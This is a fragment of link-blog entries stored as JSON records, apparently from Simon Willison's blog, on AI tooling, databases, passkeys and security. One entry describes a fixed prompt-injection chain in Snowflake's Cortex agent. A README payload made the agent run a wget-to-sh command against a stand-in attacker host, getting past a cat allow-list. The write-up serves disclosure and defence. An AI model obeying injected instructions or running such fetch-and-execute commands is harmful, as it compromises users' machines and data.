snippets, potentially not even including the really interesting ones. But is it even correct?\r\n>\r\n> EmitByte here is unnecessarily pushing/popping AX, which isn't modified by the few instructions in between at all. No competent assembly language programmer would do this. So maybe against all expectations, Turbo Pascal is just really badly coded? No, it's of course a hallucination: those instructions don't appear in the binary at all! [...]\r\n>\r\n> But searching for e.g. the hex opcode B0 E8 ('mov al,0xe8') is enough to confirm that this code snippet isn't to be found *anywhere*.\r\n>\r\n> There is a lot more suspicious code, including some that couldn't possibly work (like the \"ret 1\" in the system call dispatcher, which would misalign the stack).\r\n>\r\n> Conclusion: it's slop\r\n\r\nBecause it's amusing to loop this kind of criticism through a model, I [pasted their feedback into Claude](https://claude.ai/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca) along with instructions to re-review their the code and it agreed with their assessment:\r\n\r\n> The commenter's core charge \u2014 that the annotated disassembly is \"slop\" \u2014 is substantiated. The artifact presents a mix of genuine analysis (real hex dumps, some correctly disassembled sections) and wholesale fabrication (invented assembly with plausible-sounding labels and comments for roughly half the binary). The fabricated sections look convincing to a casual reader but don't survive byte-level comparison with the actual binary.",
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  "quotation": "Congrats to the [@cursor_ai](https://x.com/cursor_ai) team on the launch of Composer 2!\r\n\r\nWe are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support.\r\n\r\nNote: Cursor accesses Kimi-k2.5 via [@FireworksAI_HQ](https://x.com/FireworksAI_HQ) hosted RL and inference platform as part of an authorized commercial partnership.",
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  "link_url": "https://twitter.com/danveloper/status/2034353876753592372",
  "link_title": "Autoresearching Apple's \"LLM in a Flash\" to run Qwen 397B locally",
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  "commentary": "Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of [Qwen3.5-397B-A17B](https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main) running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.\r\n\r\nQwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.\r\n\r\nDan used techniques described in Apple's 2023 paper [LLM in a flash: Efficient Large Language Model Inference with Limited Memory](https://arxiv.org/abs/2312.11514):\r\n\r\n> This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.\r\n\r\nHe fed the paper to Claude Code and used a variant of Andrej Karpathy's [autoresearch pattern](https://simonwillison.net/2026/Mar/13/liquid/) to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.\r\n\r\n[danveloper/flash-moe](https://github.com/danveloper/flash-moe) has the resulting code plus [a PDF paper](https://github.com/danveloper/flash-moe/blob/main/paper/flash_moe.pdf) mostly written by Claude Opus 4.6 describing the experiment in full.\r\n\r\nThe final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.\r\n\r\nQwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.\r\n\r\nIt's not clear to me how much the quality of the model results are affected. Claude claimed that \"Output quality at 2-bit is indistinguishable from 4-bit for these evaluations\", but the description of the evaluations it ran is quite thin.\r\n\r\n**Update**: Dan's [latest version](https://twitter.com/danveloper/status/2034686509748462022) upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.",
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  "link_url": "https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware",
  "link_title": "Snowflake Cortex AI Escapes Sandbox and Executes Malware",
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  "commentary": "PromptArmor report on a prompt injection attack chain in Snowflake's [Cortex Agent](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents), now fixed.\r\n\r\nThe attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.\r\n\r\nThe attack caused the agent to execute this code:\r\n\r\n    cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))\r\n\r\nCortex listed `cat` commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.\r\n\r\nI've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.\r\n\r\nI'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.",
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  "link_title": "Introducing Mistral Small 4",
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  "link_url": "https://developers.openai.com/codex/subagents",
  "link_title": "Use subagents and custom agents in Codex",
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  "quotation": "GitHub\u2019s\u00a0[slopocalypse](https://www.theregister.com/2026/02/18/godot_maintainers_struggle_with_draining/)\u00a0\u2013 the flood of AI-generated spam PRs and issues \u2013 has made Jazzband\u2019s model of open membership and shared push access untenable.\r\n\r\nJazzband was designed for a world where the worst case was someone accidentally merging the wrong PR. In a world where\u00a0[only 1 in 10 AI-generated PRs meets project standards](https://www.devclass.com/ai-ml/2026/02/19/github-itself-to-blame-for-ai-slop-prs-say-devs/4091420), where curl had to\u00a0[shut down its bug bounty](https://daniel.haxx.se/blog/2026/01/26/the-end-of-the-curl-bug-bounty/)\u00a0because confirmation rates dropped below 5%, and where GitHub\u2019s own response was a\u00a0[kill switch to disable pull requests entirely](https://www.theregister.com/2026/02/03/github_kill_switch_pull_requests_ai)\u00a0\u2013 an organization that gives push access to everyone who joins simply can\u2019t operate safely anymore.",
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  "quotation": "It is hard for less experienced developers to appreciate how rarely architecting for future requirements / applications turns out net-positive.",
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  "link_url": "https://boringsql.com/posts/portable-stats/",
  "link_title": "Production query plans without production data",
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  "commentary": "Radim Marek describes the new [`pg_restore_relation_stats()` and `pg_restore_attribute_stats()` functions](https://www.postgresql.org/docs/current/functions-admin.html#FUNCTIONS-ADMIN-STATSMOD) that were introduced [in PostgreSQL 18](https://www.postgresql.org/docs/current/release-18.html) in September 2025.\r\n\r\nThe PostgreSQL query planner makes use of internal statistics to help it decide how to best execute a query. These statistics often differ between production data and development environments, which means the query plans used in production may not be replicable in development.\r\n\r\nPostgreSQL's new features now let you copy those statistics down to your development environment, allowing you to simulate the plans for production workloads without needing to copy in all of that data first.\r\n\r\nI found this illustrative example useful:\r\n\r\n    SELECT pg_restore_attribute_stats(\r\n        'schemaname', 'public',\r\n        'relname', 'test_orders',\r\n        'attname', 'status',\r\n        'inherited', false::boolean,\r\n        'null_frac', 0.0::real,\r\n        'avg_width', 9::integer,\r\n        'n_distinct', 5::real,\r\n        'most_common_vals', '{delivered,shipped,cancelled,pending,returned}'::text,\r\n        'most_common_freqs', '{0.95,0.015,0.015,0.015,0.005}'::real[]\r\n    );\r\n\r\nThis simulates statistics for a `status` column that is 95% `delivered`. Based on these statistics PostgreSQL can decide to use an index for `status = 'shipped'` but to instead perform a full table scan for `status = 'delivered'`.\r\n\r\nThese statistics are pretty small. Radim says:\r\n\r\n> Statistics dumps are tiny. A database with hundreds of tables and thousands of columns produces a statistics dump under 1MB. The production data might be hundreds of GB. The statistics that describe it fit in a text file.\r\n\r\nI posted on the SQLite user forum asking if SQLite could offer a similar feature and D. Richard Hipp promptly replied [that it has one already](https://sqlite.org/forum/forumpost/480c5cb8a3898346):\r\n\r\n> All of the data statistics used by the query planner in SQLite are available in the [sqlite_stat1 table](https://sqlite.org/fileformat.html#the_sqlite_stat1_table) (or also in the [sqlite_stat4 table](https://sqlite.org/fileformat.html#the_sqlite_stat4_table) if you happen to have compiled with SQLITE_ENABLE_STAT4).  That table is writable. You can inject whatever alternative statistics you like.\r\n> \r\n> This approach to controlling the query planner is mentioned in the documentation:\r\n> <https://sqlite.org/optoverview.html#manual_control_of_query_plans_using_sqlite_stat_tables>.\r\n> \r\n> See also <https://sqlite.org/lang_analyze.html#fixed_results_of_analyze>.\r\n> \r\n> The \".fullschema\" command in the CLI outputs both the schema and the content of the sqlite_statN tables, exactly for the reasons outlined above - so that we can reproduce query problems for testing without have to load multi-terabyte database files.",
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  "quotation": "`I'm moving to another service and need to export my data. List every memory you have stored about me, as well as any context you've learned about me from past conversations. Output everything in a single code block so I can easily copy it. Format each entry as: [date saved, if available] - memory content. Make sure to cover all of the following \u2014 preserve my words verbatim where possible: Instructions I've given you about how to respond (tone, format, style, 'always do X', 'never do Y'). Personal details: name, location, job, family, interests. Projects, goals, and recurring topics. Tools, languages, and frameworks I use. Preferences and corrections I've made to your behavior. Any other stored context not covered above. Do not summarize, group, or omit any entries. After the code block, confirm whether that is the complete set or if any remain.`",
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  "link_url": "https://blog.timcappalli.me/p/passkeys-prf-warning/",
  "link_title": "Please, please, please stop using passkeys for encrypting user data",
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  "commentary": "Because users lose their passkeys *all the time*, and may not understand that their data has been irreversibly encrypted using them and can no longer be recovered.\r\n\r\nTim Cappalli:\r\n\r\n> To the wider identity industry: *please stop promoting and using passkeys to encrypt user data. I\u2019m begging you. Let them be great, phishing-resistant authentication credentials*.",
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  "link_url": "https://minimaxir.com/2026/02/ai-agent-coding/",
  "link_title": "An AI agent coding skeptic tries AI agent coding, in excessive detail",
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  "commentary": "Another in the genre of \"OK, coding agents got good in November\" posts, this one is by Max Woolf and is very much worth your time. He describes a sequence of coding agent projects, each more ambitious than the last - starting with simple YouTube metadata scrapers and eventually evolving to this:\r\n\r\n> It would be arrogant to port Python's [scikit-learn](https://scikit-learn.org/stable/) \u2014 the gold standard of data science and machine learning libraries \u2014 to Rust with all the features that implies.\r\n> \r\n> But that's unironically a good idea so I decided to try and do it anyways. With the use of agents, I am now developing `rustlearn` (extreme placeholder name), a Rust crate that implements not only the fast implementations of the standard machine learning algorithms such as [logistic regression](https://en.wikipedia.org/wiki/Logistic_regression) and [k-means clustering](https://en.wikipedia.org/wiki/K-means_clustering), but also includes the fast implementations of the algorithms above: the same three step pipeline I describe above still works even with the more simple algorithms to beat scikit-learn's implementations.\r\n\r\nMax also captures the frustration of trying to explain how good the models have got to an existing skeptical audience:\r\n\r\n> The real annoying thing about Opus 4.6/Codex 5.3 is that it\u2019s impossible to publicly say \u201cOpus 4.5 (and the models that came after it) are an order of magnitude better than coding LLMs released just months before it\u201d without sounding like an AI hype booster clickbaiting, but it\u2019s the counterintuitive truth to my personal frustration. I have been trying to break this damn model by giving it complex tasks that would take me months to do by myself despite my coding pedigree but Opus and Codex keep doing them correctly.\r\n\r\nA throwaway remark in this post inspired me to [ask Claude Code to build a Rust word cloud CLI tool](https://github.com/simonw/research/tree/main/rust-wordcloud#readme), which it happily did.",
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  "commentary": "Anthropic are now offering their $200/month Claude Max 20x plan for free to open source maintainers... for six months... and you have to meet the following criteria:\r\n\r\n> - **Maintainers:** You're a primary maintainer or core team member of a public repo with 5,000+ GitHub stars *or* 1M+ monthly NPM downloads. You've made commits, releases, or PR reviews within the last 3 months.\r\n> - **Don't quite fit the criteria** If you maintain something the ecosystem quietly depends on, apply anyway and tell us about it.\r\n\r\nAlso in the small print: \"Applications are reviewed on a rolling basis. We accept up to 10,000 contributors\".",
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  "link_url": "https://tools.simonwillison.net/unicode-binary-search",
  "link_title": "Unicode Explorer using binary search over fetch() HTTP range requests",
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  "commentary": "Here's a little prototype I built this morning from my phone as an experiment in HTTP range requests, and a general example of using LLMs to satisfy curiosity.\r\n\r\nI've been collecting [HTTP range tricks](https://simonwillison.net/tags/http-range-requests/) for a while now, and I decided it would be fun to build something with them myself that used binary search against a large file to do something useful.\r\n\r\nSo I [brainstormed with Claude](https://claude.ai/share/47860666-cb20-44b5-8cdb-d0ebe363384f). The challenge was coming up with a use case for binary search where the data could be naturally sorted in a way that would benefit from binary search.\r\n\r\nOne of Claude's suggestions was looking up information about unicode codepoints, which means searching through many MBs of metadata.\r\n\r\nI had Claude write me a spec to feed to Claude Code - [visible here](https://github.com/simonw/research/pull/90#issue-4001466642) - then kicked off an [asynchronous research project](https://simonwillison.net/2025/Nov/6/async-code-research/) with Claude Code for web against my [simonw/research](https://github.com/simonw/research) repo to turn that into working code.\r\n\r\nHere's the [resulting report and code](https://github.com/simonw/research/tree/main/unicode-explorer-binary-search#readme). One interesting thing I learned is that Range request tricks aren't compatible with HTTP compression because they mess with the byte offset calculations. I added `'Accept-Encoding': 'identity'` to the `fetch()` calls but this isn't actually necessary because Cloudflare and other CDNs automatically skip compression if a `content-range` header is present.\r\n\r\nI deployed the result [to my tools.simonwillison.net site](https://tools.simonwillison.net/unicode-binary-search), after first tweaking it to query the data via range requests against a CORS-enabled 76.6MB file in an S3 bucket fronted by Cloudflare.\r\n\r\nThe demo is fun to play with - type in a single character like `\u00f8` or a hexadecimal codepoint indicator like `1F99C` and it will binary search its way through the large file and show you the steps it takes along the way:\r\n\r\n![Animated demo of a web tool called Unicode Explore. I enter the ampersand character and hit Search. A box below shows a sequence of HTTP binary search requests made, finding in 17 steps with 3,864 bytes transferred and telling me that ampersand is U+0026 in Punctuation other, Basic Latin](https://static.simonwillison.net/static/2026/unicode-explore.gif)",
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  "quotation": "It is hard to communicate how much programming has changed due to AI in the last 2 months: not gradually and over time in the \"progress as usual\" way, but specifically this last December. There are a number of asterisks but imo coding agents basically didn\u2019t work before December and basically work since - the models have significantly higher quality, long-term coherence and tenacity and they can power through large and long tasks, well past enough that it is extremely disruptive to the default programming workflow. [...]",
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  "link_url": "https://trufflesecurity.com/blog/google-api-keys-werent-secrets-but-then-gemini-changed-the-rules",
  "link_title": "Google API Keys Weren't Secrets. But then Gemini Changed the Rules.",
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  "commentary": "Yikes! It turns out Gemini and Google Maps (and other services) share the same API keys... but Google Maps API keys are designed to be public, since they are embedded directly in web pages. Gemini API keys can be used to access private files and make billable API requests, so they absolutely should not be shared.\r\n\r\nIf you don't understand this it's very easy to accidentally enable Gemini billing on a previously public API key that exists in the wild already.\r\n\r\n> What makes this a privilege escalation rather than a misconfiguration is the sequence of events.\u00a0\r\n> \r\n> 1.  A developer creates an API key and embeds it in a website for Maps. (At that point, the key is harmless.)\u00a0\r\n> 2.  The Gemini API gets enabled on the same project. (Now that same key can access sensitive Gemini endpoints.)\u00a0\r\n> 3.  The developer is never warned that the keys' privileges changed underneath it. (The key went from public identifier to secret credential).\r\n\r\nTruffle Security found 2,863 API keys in the November 2025 Common Crawl that could access Gemini, verified by hitting the `/models` listing endpoint. This included several keys belonging to Google themselves, one of which had been deployed since February 2023 (according to the Internet Archive) hence predating the Gemini API that it could now access.\r\n\r\nGoogle are working to revoke affected keys but it's still a good idea to check that none of yours are affected by this.",
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